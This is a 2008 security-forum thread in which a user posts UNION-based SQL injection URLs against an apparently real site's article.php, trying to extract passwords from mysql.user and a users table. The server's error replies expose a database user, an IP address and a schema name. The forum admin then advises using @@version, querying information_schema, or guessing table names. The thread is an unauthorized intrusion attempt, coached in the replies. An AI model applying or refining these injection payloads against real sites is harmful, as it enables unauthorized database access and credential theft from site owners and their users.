|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
SQL injection NEEDED |
|
Posted: Wed Jan 09, 2008 2:15 pm |
|
|
nox |
Advanced user |
|
|
Joined: Dec 29, 2007 |
Posts: 100 |
Location: c://windows/system32 |
|
|
|
|
|
|
Hello , i find a exploit SQL injection , but ...
Look :
Code: | http://site.dz/article.php?id=-1%20union%20select%200,1,2,3,4,5,6 |
How i can find a pass :s PLZ ??
Code: | http://site.dz/article.php?id=-1%20union/**/select/**/0,1,2,3,4,5,6,7/**/from/**/mysql.user/* |
Query failed == 1142: SELECT command denied to user 'mviews'@'196.14.191.73' for table 'user'
and This :
Code: | http://site.dz/article.php?id=-1%20union%20select%200,1,2,3,4,5,6%20FROM%20users/* |
Query failed == 1146: Table 'marketviews2.users' doesn't exist
PLZ help me it is very important for me |
|
|
|
|
Posted: Wed Jan 09, 2008 3:37 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
First, what mysql version? Use @@version.
Next, if it's 5.x , them information schema table is useful.
If it's older version, then you need to guess table names. No other ways as far as i know. |
|
|
|
|
Posted: Thu Jan 10, 2008 12:35 pm |
|
|
nox |
Advanced user |
|
|
Joined: Dec 29, 2007 |
Posts: 100 |
Location: c://windows/system32 |
|
|
|
|
|
|
|
Last edited by nox on Wed Jan 23, 2008 4:43 pm; edited 1 time in total |
|
|
|
Posted: Wed Jan 23, 2008 12:11 pm |
|
|
ploert |
Regular user |
|
|
Joined: Jan 23, 2008 |
Posts: 21 |
|
|
|
|
|
|
|
Doesn't SHOW TABLES work on all versions of mysql? |
|
|
|
|
Posted: Wed Jan 23, 2008 3:51 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
ploert wrote: | Doesn't SHOW TABLES work on all versions of mysql? |
You can't concatenate multiple mysql queries in php, so SHOW TABLES is useless in sql injections. |
|
|
|
|
Posted: Wed Jan 23, 2008 3:57 pm |
|
|
ploert |
Regular user |
|
|
Joined: Jan 23, 2008 |
Posts: 21 |
|
|
|
|
|
|
|
d'oh show != select my bad |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|